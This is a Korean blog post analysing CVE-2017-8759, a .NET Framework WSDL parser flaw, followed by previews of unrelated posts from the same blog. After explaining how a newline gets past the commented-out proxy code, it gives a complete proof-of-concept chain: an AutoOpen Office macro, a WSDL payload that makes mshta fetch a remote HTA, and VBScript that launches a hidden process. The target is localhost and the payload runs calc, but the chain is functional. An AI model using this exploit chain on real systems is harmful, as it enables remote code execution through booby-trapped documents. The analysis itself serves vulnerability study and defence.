기본 콘텐츠로 건너뛰기

CVE-2017-8759

CVE-2017-8759

1. 취약 버전 확인은 닷넷 프레임워크 버전으로 진행

닷넷 프레임워크 버전과 공용 언어 런타임 버전은 별개이며 취약점 발생 요인은 닷넷 프레임워크로 닷넷 프레임 워크 버전으로 취약 유무를 판별하면 됩니다. 여기서 런타임은 JVM과 같이 프로그램 구동을 위한 가상의 실행 환경으로 이해하면 될 것 같습니다.

취약점 발생은 닷넷 프레임워크 wsdlparser.cs의 PrintClientProxy()메소드에서 줄바꿈 처리 미흡으로 발생되었습니다.

2. 취약점 동작 방식

닷넷 프레임워크 소스코드 다운로드 URL: https://referencesource.microsoft.com/download.html

먼저 POC 핵심을 살펴보겠습니다.

<service name="Service">
    <port name="Port" binding="tns:Binding">
        <soap:address location="http://localhost?C:\Windows\System32\calc.exe?011"/>
            <soap:address location=";
                System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
            //"/>
    </port>
</service>

위는 POC 구성 중 원격 서버에서 받아오는 XML 데이터의 일부입니다.
두개의 “soap:address location” 엘리먼트로 구성되어 있는 것을 볼 수 있습니다.

다음은 취약점이 발생한 wsdlparser.cs의 PrintClientProxy()메소드의 일부분 입니다.

if (_connectURLs != null)
                {
                    for (int i=0; i<_connectURLs.Count; i++)
                    {
                        sb.Length = 0;
                        sb.Append(indent2);
                        if (i == 0)
                        {
                            sb.Append("base.ConfigureProxy(this.GetType(), ");
                            sb.Append(WsdlParser.IsValidUrl((string)_connectURLs[i]));
                            sb.Append(");");
                        }
                        else
                        {
                            // Only the first location is used, the rest are commented out in the proxy
                            sb.Append("//base.ConfigureProxy(this.GetType(), ");
                            sb.Append(WsdlParser.IsValidUrl((string)_connectURLs[i]));
                            sb.Append(");");
                        }
                        textWriter.WriteLine(sb);
                    }
                }

“soap:address location” 엘리먼트의 값을 읽어 base.ConfigureProxy(this.GetType(), [엘리먼트 값]);의 형식으로 동적으로 코드를 구성하는 것을 기본으로 하며 하나 이상의 “soap:address location” 엘리먼트가 존재할 경우,
//base.ConfigureProxy(this.GetType(), [엘리먼트 값]); 의 형식으로 주석 처리하는 것을 알 수 있습니다.

그러나 줄바꿈에 대한 검증 절차가 존재하지 않으므로 POC 코드와 같이 줄바꿈으로 엘리먼트 내용을 삽입할 경우 주석을 우회하여 코드를 삽입할 수 있습니다.

POC의 두 번째 “soap:address location” 엘리먼트의 값

//base.ConfigureProxy(this.GetType(),;
                                System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
                        //);

POC 코드 동작 시 아래와 같은 코드가 구성되어 동작할 것을 예상할 수 있습니다.

base.ConfigureProxy(this.GetType(), "http://localhost?C:\Windows\System32\calc.exe?011");
//base.ConfigureProxy(this.GetType(),;
                                System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
                        //);

3. POC

poc file

rtf 파일에서 localhost:8080/exploit.txt 파일 연결하여 개체로 삽입하거나 다음의 매크로를 삽입한 doc 파일 생성.

Sub AutoOpen()
Set x = GetObject("soap:wsdl=http://localhost:8080/exploit.txt")
End Sub

poc server

python -m SimpleHTTPServer 8080

exploit.txt

<definitions
    xmlns="http://schemas.xmlsoap.org/wsdl/"
    xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
    xmlns:suds="http://www.w3.org/2000/wsdl/suds"
    xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
    xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
    <portType name="PortType"/>
    <binding name="Binding" type="tns:PortType">
        <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
        <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
    </binding>
    <service name="Service">
        <port name="Port" binding="tns:Binding">
            <soap:address location="http://127.0.0.1:8080?C:\Windows\System32\mshta.exe?http://127.0.0.1:8080/cmd.hta"/>
                        <soap:address location=";
                        if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
                                System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
                                System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
                        } //"/>
        </port>
    </service>
</definitions>

cmd.hta

<html>
<head>
<script language="VBScript">
Sub window_onload
    const impersonation = 3
    Const HIDDEN_WINDOW = 12
    Set Locator = CreateObject("WbemScripting.SWbemLocator")
    Set Service = Locator.ConnectServer()
    Service.Security_.ImpersonationLevel=impersonation
    Set objStartup = Service.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set Process = Service.Get("Win32_Process")
    Error = Process.Create("calc.exe", null, objConfig, intProcessID)
    window.close()
end sub
</script>
</head>
</html>

이 블로그의 인기 게시물

데일 카네기 인간관계론 정리

Remove-Server-Header

응답 메시지 내 서버 버전 정보 제거 1. Apache 1) 조치 방법 “/etc/htpd/conf/httpd.conf” 파일 안에서 1. ServerTokens OS → ServerTokens Prod 2. ServerSignature On → ServerSignature Off 로 변경한 후 아파치를 재시작하면 헤더 값의 아파치 버전 정보 및 OS 정보를 제거할 수 있다. 2) 참고 URL http://zetawiki.com/wiki/CentOS_ 아파치_보안권장설정_ServerTokens_Prod,_ServerSignature_Off 2. IIS 1) 조치 방법 IIS 6.0 urlscan_setup 실행. 설치. \windows\system32\inetsrv\urlscan\urlscan.ini 파일을 열어 다음 수정(RemoveServerHeader=0 을 RemoveServerHeader=1 로 변경) 서비스에서 IIS Admin Service 재시작. IIS 7.0 IIS 관리자를 열고 관리하려는 수준으로 이동합니다. 기능 보기에서 HTTP 응답 헤더를 두 번 클릭합니다. HTTP 응답 헤더 페이지에서 제거할 헤더를 선택합니다. 작업 창에서 제거를 클릭하고 예를 클릭합니다. 2) 참고 URL IIS 6.0 : http://gonnie.tistory.com/entry/iis6- 응답헤더-감추기 IIS 7.0 : https://technet.microsoft.com/ko-kr/library/cc733102(v=ws.10).aspx 3. jetty 1) 조치 방법 “jetty.xml” 파일에서 jetty.send.server.version=false 설정 2) 참고 URL http://attenuated-perspicacity.blogspot.kr/2009/09/jetty-61x-hardening.html 4. Nginx ...

Linux-BlueBorne-vulnerabilities

Linux BlueBorne vulnerabilities 리눅스 블루투스 스택(BlueZ)에서 두 개의 보안 취약사항이 발견되었다. 이 취약점들은 2017년 9월 12일자로 공개 되어 BlueBorne 이라는 이름으로 불리고 있으며, 해당 취약점을 보유하고 있는 벤더 사 제품이 존재하여 총 8개의 취약점으로 분류되어졌다. 1) CVE-2017-1000250 이 취약점은 bluetoothd 프로세스에 존재하며, SDP server 요청을 처리하는 과정에서 나타난다. service_search_attr_req (src/sdpd-request.c) 함수에서 sdp 검색 요청 속성을 처리할 때 정보를 유출한다. 이로 인해 희생자 단말 사용자와 상호작용 없이, 어떤 사전의 인증 없이(페어링), 스택의 Service discovery protocol (SDP) server를 엑세스할 수 있다. 이 취약점은 bluetooth 프로세스의 힙으로 부터 정보 유출을 유도할 수 있으며, 여기에는 블루투스 암호 키나 다른 가치있는 데이터가 포함된다. Simple Service Discovery Protocol SSDP(Simple Service Discovery Protocol)은 네트워크 서비스나 정보를 찾기 위해서 사용하는 네트워크 프로토콜이다. SSDP를 이용하면, DHCP나 DNS와 같은 네트워크 서버 혹은 정적인 호스트 설정 없이 이런 일들을 수행할 수 있다. SSDP는 일반 거주지와 소규모 사무 환경에서 UPnP(Universal Plug and Play)를 위한 기본적인 프로토콜로 이미 널리 사용하고 있다. 1999년 MS와 HP가 IETF에 드래프트 했다. IETF제안이 만료된 이후 SSDP는 UPnP 표준에 포함됐다. 이 취약점의 세부사항을 살펴보자. 출처: joinc - SSDP 이 취약점의 세부사항을 살펴보자. - SDP 서버 검색 속성 핸들러( service_search_attr_req, under s...